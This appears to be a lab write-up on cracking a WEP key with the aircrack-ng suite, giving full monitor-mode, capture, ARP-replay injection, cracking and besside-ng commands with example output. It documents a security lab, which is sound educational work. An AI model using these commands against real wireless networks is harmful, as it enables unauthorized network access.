WEP Key Recovery with ARP Replay

Wireless lab recovering a WEP key: capturing traffic from the target AP, accelerating IV collection with ARP replay injection, and cracking the key with aircrack-ng.

By 0xG10D | Last updated: April 27, 2026 | 7 minutes read
Information #wireless#802-11#wep#aircrack-ng#aireplay-ng#arp-replay#monitor-mode

WEP Practical Attack Lab Report

1.0 Introduction

This lab demonstrates a practical WEP key recovery attack in a controlled wireless lab environment. WEP is an outdated wireless encryption protocol that is vulnerable because it uses weak initialization vectors. By capturing enough IVs, the WEP key can be recovered using statistical analysis with aircrack-ng.

This activity was conducted using Kali Linux, an Alfa wireless adapter, a WEP-enabled router, and a client device acting as the victim station.


2.0 Objective

The objectives of this lab are:

  1. To identify wireless networks using WEP encryption.

  2. To capture WEP traffic from a selected access point.

  3. To generate additional traffic using ARP replay.

  4. To collect enough IVs for key recovery.

  5. To recover the WEP key using aircrack-ng.


3.0 Lab Equipment

EquipmentDescription
Kali LinuxAttacking machine used for wireless auditing
Alfa Wireless AdapterWireless adapter used in monitor mode
WEP RouterAccess point configured with WEP encryption
Client DevicePhone or laptop connected to the WEP network
Aircrack-ng SuiteToolset used for WEP capture, injection, and cracking

4.0 Theory

WEP uses RC4 encryption with initialization vectors. The weakness in WEP comes from the repeated and predictable use of IVs. When enough IVs are captured, aircrack-ng can perform mathematical/statistical analysis to recover the WEP key.

To speed up IV collection, ARP replay can be used. ARP replay captures an ARP packet and repeatedly injects it back into the network. This causes the access point to generate more encrypted packets, increasing the number of IVs collected.


5.0 Procedure

Step 1: Enable Monitor Mode

First, the wireless adapter was checked:

iwconfig

Conflicting network services were stopped:

sudo airmon-ng check kill

Monitor mode was enabled:

sudo airmon-ng start wlan0

After enabling monitor mode, the interface changed to:

wlan0mon

The mode was confirmed using:

iwconfig

Expected output:

wlan0mon  IEEE 802.11  Mode:Monitor

screenshot-2026-04-27-113214


Step 2: Scan for WEP Networks

A scan was performed to identify nearby WEP networks:

sudo airodump-ng wlan0mon --encrypt wep

The target WEP access point was identified from the scan result.

Important information recorded:

FieldDescription
BSSIDMAC address of the target access point
CHWireless channel
ENCEncryption type, should show WEP
ESSIDWireless network name

Example:

BSSID              CH   ENC   ESSID
AA:BB:CC:DD:EE:FF  11   WEP   WEP_Lab

Screenshot required: airodump-ng output showing the WEP network.


pasted-image-20260427120429

Step 3: Capture WEP Packets

After identifying the target BSSID and channel, packet capture was started:

sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 11 --write WEP wlan0mon

Replace:

AA:BB:CC:DD:EE:FF

with the target router BSSID.

Command explanation:

OptionDescription
--bssidTargets the selected access point
-c 11Listens on the target channel
--write WEPSaves captured packets using the filename prefix WEP
wlan0monMonitor mode interface

This command creates capture files such as:

WEP-01.cap
WEP-01.csv

Screenshot required: Capture running with the target BSSID and IV count.


Step 4: Connect a Client Device

A phone or laptop was connected to the WEP wireless network to act as a victim/client device.

The client device generated normal wireless traffic by browsing or using the network. This helps produce packets and IVs.

In the airodump-ng window, the connected client appeared under the STATION section.

Example:

BSSID              STATION             PWR   Rate   Lost   Frames
AA:BB:CC:DD:EE:FF  11:22:33:44:55:66   -40   1-24     0     250

The client MAC address was recorded as:

11:22:33:44:55:66

Screenshot required: airodump-ng showing the connected client under STATION.


Step 5: Perform ARP Replay Attack

In a second terminal, ARP replay was started:

sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h 11:22:33:44:55:66 wlan0mon

Replace:

AA:BB:CC:DD:EE:FF

with the router BSSID.

Replace:

11:22:33:44:55:66

with the connected client MAC address.

Command explanation:

OptionDescription
-3ARP replay attack mode
-bTarget access point BSSID
-hAssociated client/station MAC address
wlan0monMonitor mode interface

The purpose of this step is to generate more encrypted packets and increase the IV count.

Screenshot required: aireplay-ng running ARP replay.


Step 6: Monitor IV Collection

The first terminal running airodump-ng was monitored. The #Data or IV count should increase over time.

The more IVs collected, the higher the chance of successfully recovering the WEP key.

Example:

#Data
10000
25000
50000

Screenshot required: airodump-ng showing increasing #Data / IV values.


Step 7: Crack the WEP Key

In a third terminal, aircrack-ng was used to crack the WEP key:

sudo aircrack-ng WEP-01.cap

If the key was not found, more IVs were collected and the command was repeated later.

Expected successful result:

KEY FOUND! [ XX:XX:XX:XX:XX ]

Screenshot required: aircrack-ng showing KEY FOUND.


6.0 Alternative Method Using Besside-ng

An alternative automated method is to use besside-ng.

Command:

sudo besside-ng wlan0mon -c 11 -b AA:BB:CC:DD:EE:FF

Command explanation:

OptionDescription
wlan0monMonitor mode interface
-c 11Target channel
-bTarget BSSID

This method automates multiple WEP attack steps, including traffic generation and key recovery attempts.

Screenshot required: besside-ng running against the target WEP access point.


7.0 Commands That Need Screenshots

Screenshot 1: Check Wireless Adapter

iwconfig

Purpose: Show the wireless adapter interface.


Screenshot 2: Stop Conflicting Services

sudo airmon-ng check kill

Purpose: Show that interfering services were stopped.


Screenshot 3: Enable Monitor Mode

sudo airmon-ng start wlan0

Purpose: Show monitor mode activation.


Screenshot 4: Confirm Monitor Mode

iwconfig

Purpose: Show wlan0mon with Mode:Monitor.


Screenshot 5: Scan for WEP Networks

sudo airodump-ng wlan0mon --encrypt wep

Purpose: Show the target WEP network.


Screenshot 6: Capture Target WEP Network

sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 11 --write WEP wlan0mon

Purpose: Show packet capture running on the target BSSID and channel.


Screenshot 7: Show Connected Client

sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 11 --write WEP wlan0mon

Purpose: Show the client MAC address under STATION.


Screenshot 8: Run ARP Replay

sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h 11:22:33:44:55:66 wlan0mon

Purpose: Show ARP replay traffic generation.


Screenshot 9: Show Increasing IV Count

sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 11 --write WEP wlan0mon

Purpose: Show the IV or #Data count increasing.


Screenshot 10: Crack WEP Key

sudo aircrack-ng WEP-01.cap

Purpose: Show the WEP key recovery result.


Screenshot 11: Alternative Besside-ng Method

sudo besside-ng wlan0mon -c 11 -b AA:BB:CC:DD:EE:FF

Purpose: Show the automated WEP attack method.


Screenshot 12: Restore Network Services

sudo airmon-ng stop wlan0mon
sudo systemctl restart NetworkManager

Purpose: Show cleanup after completing the lab.


8.0 Result

The WEP key was successfully recovered after enough IVs were collected.

Example result:

KEY FOUND! [ 12:34:56:78:90 ]

This confirms that WEP encryption can be broken through packet capture, IV collection, and statistical analysis.


9.0 Discussion

The lab shows that WEP is not secure for wireless networks. Even when a password is configured, weaknesses in the WEP encryption design allow the key to be recovered after enough encrypted traffic is captured.

ARP replay increases the amount of traffic generated by the access point, which speeds up IV collection. Once enough IVs are available, aircrack-ng can recover the WEP key.

This demonstrates why WEP should not be used in modern wireless environments.


10.0 Troubleshooting

IssuePossible CauseSolution
No WEP network appearsRouter not configured with WEPEnable WEP on the lab router
No client appearsNo victim/client connectedConnect phone or laptop to the WEP network
ARP replay not workingWrong client MAC usedUse the MAC shown under STATION
IV count not increasingLow trafficGenerate traffic from client device
Injection failsAdapter does not support injectionTest using sudo aireplay-ng --test wlan0mon
Capture file not foundWrong filename usedCheck using ls
Key not foundNot enough IVs collectedContinue capturing more IVs
Wi-Fi not working after labNetworkManager stoppedRestart NetworkManager

11.0 Cleanup

After completing the lab, monitor mode was stopped:

sudo airmon-ng stop wlan0mon

Network services were restarted:

sudo systemctl restart NetworkManager

The interface was checked again:

iwconfig

12.0 Conclusion

The lab successfully demonstrated a practical WEP key recovery attack using Kali Linux and the Aircrack-ng suite. The process involved scanning for WEP networks, capturing packets, generating traffic through ARP replay, collecting IVs, and recovering the WEP key using aircrack-ng.

The result proves that WEP is insecure and should not be used. Modern wireless networks should use WPA2 or WPA3 with strong passwords and WPS disabled.

Authorized security practice only. These notes are for lab, CTF, and explicitly permitted environments.